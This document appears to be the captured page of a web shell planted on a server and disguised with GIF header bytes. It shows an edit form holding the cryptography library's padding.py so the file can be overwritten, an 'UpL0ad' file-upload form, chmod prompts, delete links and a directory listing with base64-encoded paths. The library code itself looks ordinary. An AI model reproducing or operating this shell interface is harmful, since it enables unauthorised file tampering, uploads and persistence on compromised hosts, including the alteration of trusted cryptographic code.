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   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
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<hr>padding.py<form method=post action="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw%3D%3D&f=cGFkZGluZy5weQ%3D%3D"><input name="f" value="padding.py"><textarea name="t"># This file is dual licensed under the terms of the Apache License, Version
# 2.0, and the BSD License. See the LICENSE file in the root of this repository
# for complete details.

from __future__ import annotations

import abc
import typing

from cryptography import utils
from cryptography.exceptions import AlreadyFinalized
from cryptography.hazmat.bindings._rust import (
    check_ansix923_padding,
    check_pkcs7_padding,
)


class PaddingContext(metaclass=abc.ABCMeta):
    @abc.abstractmethod
    def update(self, data: bytes) -&gt; bytes:
        &quot;&quot;&quot;
        Pads the provided bytes and returns any available data as bytes.
        &quot;&quot;&quot;

    @abc.abstractmethod
    def finalize(self) -&gt; bytes:
        &quot;&quot;&quot;
        Finalize the padding, returns bytes.
        &quot;&quot;&quot;


def _byte_padding_check(block_size: int) -&gt; None:
    if not (0 &lt;= block_size &lt;= 2040):
        raise ValueError(&quot;block_size must be in range(0, 2041).&quot;)

    if block_size % 8 != 0:
        raise ValueError(&quot;block_size must be a multiple of 8.&quot;)


def _byte_padding_update(
    buffer_: typing.Optional[bytes], data: bytes, block_size: int
) -&gt; typing.Tuple[bytes, bytes]:
    if buffer_ is None:
        raise AlreadyFinalized(&quot;Context was already finalized.&quot;)

    utils._check_byteslike(&quot;data&quot;, data)

    buffer_ += bytes(data)

    finished_blocks = len(buffer_) // (block_size // 8)

    result = buffer_[: finished_blocks * (block_size // 8)]
    buffer_ = buffer_[finished_blocks * (block_size // 8) :]

    return buffer_, result


def _byte_padding_pad(
    buffer_: typing.Optional[bytes],
    block_size: int,
    paddingfn: typing.Callable[[int], bytes],
) -&gt; bytes:
    if buffer_ is None:
        raise AlreadyFinalized(&quot;Context was already finalized.&quot;)

    pad_size = block_size // 8 - len(buffer_)
    return buffer_ + paddingfn(pad_size)


def _byte_unpadding_update(
    buffer_: typing.Optional[bytes], data: bytes, block_size: int
) -&gt; typing.Tuple[bytes, bytes]:
    if buffer_ is None:
        raise AlreadyFinalized(&quot;Context was already finalized.&quot;)

    utils._check_byteslike(&quot;data&quot;, data)

    buffer_ += bytes(data)

    finished_blocks = max(len(buffer_) // (block_size // 8) - 1, 0)

    result = buffer_[: finished_blocks * (block_size // 8)]
    buffer_ = buffer_[finished_blocks * (block_size // 8) :]

    return buffer_, result


def _byte_unpadding_check(
    buffer_: typing.Optional[bytes],
    block_size: int,
    checkfn: typing.Callable[[bytes], int],
) -&gt; bytes:
    if buffer_ is None:
        raise AlreadyFinalized(&quot;Context was already finalized.&quot;)

    if len(buffer_) != block_size // 8:
        raise ValueError(&quot;Invalid padding bytes.&quot;)

    valid = checkfn(buffer_)

    if not valid:
        raise ValueError(&quot;Invalid padding bytes.&quot;)

    pad_size = buffer_[-1]
    return buffer_[:-pad_size]


class PKCS7:
    def __init__(self, block_size: int):
        _byte_padding_check(block_size)
        self.block_size = block_size

    def padder(self) -&gt; PaddingContext:
        return _PKCS7PaddingContext(self.block_size)

    def unpadder(self) -&gt; PaddingContext:
        return _PKCS7UnpaddingContext(self.block_size)


class _PKCS7PaddingContext(PaddingContext):
    _buffer: typing.Optional[bytes]

    def __init__(self, block_size: int):
        self.block_size = block_size
        # TODO: more copies than necessary, we should use zero-buffer (#193)
        self._buffer = b&quot;&quot;

    def update(self, data: bytes) -&gt; bytes:
        self._buffer, result = _byte_padding_update(
            self._buffer, data, self.block_size
        )
        return result

    def _padding(self, size: int) -&gt; bytes:
        return bytes([size]) * size

    def finalize(self) -&gt; bytes:
        result = _byte_padding_pad(
            self._buffer, self.block_size, self._padding
        )
        self._buffer = None
        return result


class _PKCS7UnpaddingContext(PaddingContext):
    _buffer: typing.Optional[bytes]

    def __init__(self, block_size: int):
        self.block_size = block_size
        # TODO: more copies than necessary, we should use zero-buffer (#193)
        self._buffer = b&quot;&quot;

    def update(self, data: bytes) -&gt; bytes:
        self._buffer, result = _byte_unpadding_update(
            self._buffer, data, self.block_size
        )
        return result

    def finalize(self) -&gt; bytes:
        result = _byte_unpadding_check(
            self._buffer, self.block_size, check_pkcs7_padding
        )
        self._buffer = None
        return result


class ANSIX923:
    def __init__(self, block_size: int):
        _byte_padding_check(block_size)
        self.block_size = block_size

    def padder(self) -&gt; PaddingContext:
        return _ANSIX923PaddingContext(self.block_size)

    def unpadder(self) -&gt; PaddingContext:
        return _ANSIX923UnpaddingContext(self.block_size)


class _ANSIX923PaddingContext(PaddingContext):
    _buffer: typing.Optional[bytes]

    def __init__(self, block_size: int):
        self.block_size = block_size
        # TODO: more copies than necessary, we should use zero-buffer (#193)
        self._buffer = b&quot;&quot;

    def update(self, data: bytes) -&gt; bytes:
        self._buffer, result = _byte_padding_update(
            self._buffer, data, self.block_size
        )
        return result

    def _padding(self, size: int) -&gt; bytes:
        return bytes([0]) * (size - 1) + bytes([size])

    def finalize(self) -&gt; bytes:
        result = _byte_padding_pad(
            self._buffer, self.block_size, self._padding
        )
        self._buffer = None
        return result


class _ANSIX923UnpaddingContext(PaddingContext):
    _buffer: typing.Optional[bytes]

    def __init__(self, block_size: int):
        self.block_size = block_size
        # TODO: more copies than necessary, we should use zero-buffer (#193)
        self._buffer = b&quot;&quot;

    def update(self, data: bytes) -&gt; bytes:
        self._buffer, result = _byte_unpadding_update(
            self._buffer, data, self.block_size
        )
        return result

    def finalize(self) -&gt; bytes:
        result = _byte_unpadding_check(
            self._buffer,
            self.block_size,
            check_ansix923_padding,
        )
        self._buffer = None
        return result
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/lib/python3/dist-packages/cryptography/hazmat/primitives<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQ="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>180</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9fX3B5Y2FjaGVfXw=="/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&x=X2FzeW1tZXRyaWMucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=X2FzeW1tZXRyaWMucHk="/>_asymmetric.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=X2FzeW1tZXRyaWMucHk=&c=`+btoa(c):0" value="0644"></td><td>532</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&x=X2NpcGhlcmFsZ29yaXRobS5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=X2NpcGhlcmFsZ29yaXRobS5weQ=="/>_cipheralgorithm.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=X2NpcGhlcmFsZ29yaXRobS5weQ==&c=`+btoa(c):0" value="0644"></td><td>1093</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&x=X3NlcmlhbGl6YXRpb24ucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=X3NlcmlhbGl6YXRpb24ucHk="/>_serialization.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=X3NlcmlhbGl6YXRpb24ucHk=&c=`+btoa(c):0" value="0644"></td><td>5216</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9hc3ltbWV0cmlj"/>asymmetric</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=YXN5bW1ldHJpYw==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9jaXBoZXJz"/>ciphers</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=Y2lwaGVycw==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&x=Y21hYy5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=Y21hYy5weQ=="/>cmac.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=Y21hYy5weQ==&c=`+btoa(c):0" value="0644"></td><td>2065</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&x=Y29uc3RhbnRfdGltZS5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=Y29uc3RhbnRfdGltZS5weQ=="/>constant_time.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=Y29uc3RhbnRfdGltZS5weQ==&c=`+btoa(c):0" value="0644"></td><td>422</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&x=aGFzaGVzLnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=aGFzaGVzLnB5"/>hashes.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=aGFzaGVzLnB5&c=`+btoa(c):0" value="0644"></td><td>5115</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&x=aG1hYy5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=aG1hYy5weQ=="/>hmac.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=aG1hYy5weQ==&c=`+btoa(c):0" value="0644"></td><td>423</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY="/>kdf</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=a2Rm&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&x=a2V5d3JhcC5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=a2V5d3JhcC5weQ=="/>keywrap.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=a2V5d3JhcC5weQ==&c=`+btoa(c):0" value="0644"></td><td>5678</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&x=cGFkZGluZy5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=cGFkZGluZy5weQ=="/>padding.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=cGFkZGluZy5weQ==&c=`+btoa(c):0" value="0644"></td><td>6242</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&x=cG9seTEzMDUucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=cG9seTEzMDUucHk="/>poly1305.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=cG9seTEzMDUucHk=&c=`+btoa(c):0" value="0644"></td><td>355</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9zZXJpYWxpemF0aW9u"/>serialization</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=c2VyaWFsaXphdGlvbg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy90d29mYWN0b3I="/>twofactor</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw==&f=dHdvZmFjdG9y&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr></table>